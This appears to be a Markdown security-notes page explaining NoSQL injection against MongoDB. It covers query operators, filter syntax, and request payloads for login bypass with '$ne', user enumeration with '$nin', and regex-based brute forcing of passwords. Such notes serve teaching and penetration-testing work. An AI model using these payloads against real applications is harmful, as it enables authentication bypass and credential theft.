107 lines
2.4 KiB
Markdown
107 lines
2.4 KiB
Markdown
# NoSQL Injections
|
|
|
|
* No tables, but files (collections)
|
|
* Examples are Elasticsearch, MongoDB, Redis, CouchDB.
|
|
|
|
Here we are using MongoDB as an example. It is a file database using the
|
|
following structure.
|
|
Key & value pairs are stored in a file, which are grouped
|
|
in a collections inside a database.
|
|
|
|
## Querying
|
|
|
|
* Filter instead of SQL queries
|
|
* [Redis docs](https://redis.io/documentation)
|
|
* [MongoDB operators](https://docs.mongodb.com/manual/reference/operator/query/)
|
|
* [Elasticsearch docs](https://www.elastic.co/guide/index.html)
|
|
|
|
## Operators
|
|
|
|
A precondition to the injection is to know the most common operators listed below.
|
|
|
|
```sql
|
|
$and
|
|
$or
|
|
$eq
|
|
$ne
|
|
$gt
|
|
$where
|
|
$exists
|
|
$regex
|
|
```
|
|
|
|
## Filters
|
|
|
|
Filter data via using key value pairs inside arrays in the following
|
|
syntactical style.
|
|
|
|
```sql
|
|
['user' => 'admin']
|
|
['age' => ['$gt' => '42']]
|
|
```
|
|
|
|
## Injection
|
|
|
|
The payload is delivered inside the parameters of the request. To deliver
|
|
malicious payload the operators can be negated. That means the for example all
|
|
users except the known one used in the request is included in the response from
|
|
the database server.
|
|
|
|
Pass HTTP parameter as an array instead of `user=` and `password=` visible in
|
|
the following example.
|
|
|
|
```sh
|
|
user[$operator]=foo&password[$operator]=bar
|
|
```
|
|
|
|
Another method, login and concat all the users you'll find afterwards until
|
|
every user has been listed in following way.
|
|
|
|
```sh
|
|
user[$nin][]=admin&password[$ne]=securepassword
|
|
user[$nin][]=admin&user[$nin][]=user2&password[$ne]=securepassword
|
|
user[$nin][]=admin&user[$nin][]=foouser&user[$nin][]=baruser&password[$ne]=securepassword
|
|
```
|
|
|
|
### Examples
|
|
|
|
For example the filter including the operator `$ne` is the following.
|
|
|
|
```sql
|
|
['user'=>['$ne'=>'foo'],'password'=>['$ne'=>'bar']]
|
|
```
|
|
|
|
The body of a POST request would look like this following example.
|
|
|
|
```sh
|
|
user[$ne]=foo&password[$ne]=bar
|
|
```
|
|
|
|
POST or GET parameters are both possible.
|
|
|
|
```sh
|
|
username=admin&password[$ne]=admin
|
|
```
|
|
|
|
JSON
|
|
|
|
```json
|
|
{"username":"user","password":{"$ne":""} }
|
|
```
|
|
|
|
Use regex to unravel the password. Check the length of the password
|
|
and hopefully get a boolean if the length is correct, `True` or `False`.
|
|
The return value may be an error a redirect or some other side channel to
|
|
measure the respone with.
|
|
|
|
```sh
|
|
user=admin&pass[$regex]=^.{6}$
|
|
```
|
|
|
|
When you've found the correct length try bruteforcing the password via regex
|
|
one char after another
|
|
|
|
```sh
|
|
user=admin&password[$regex]=^p.....$
|
|
```
|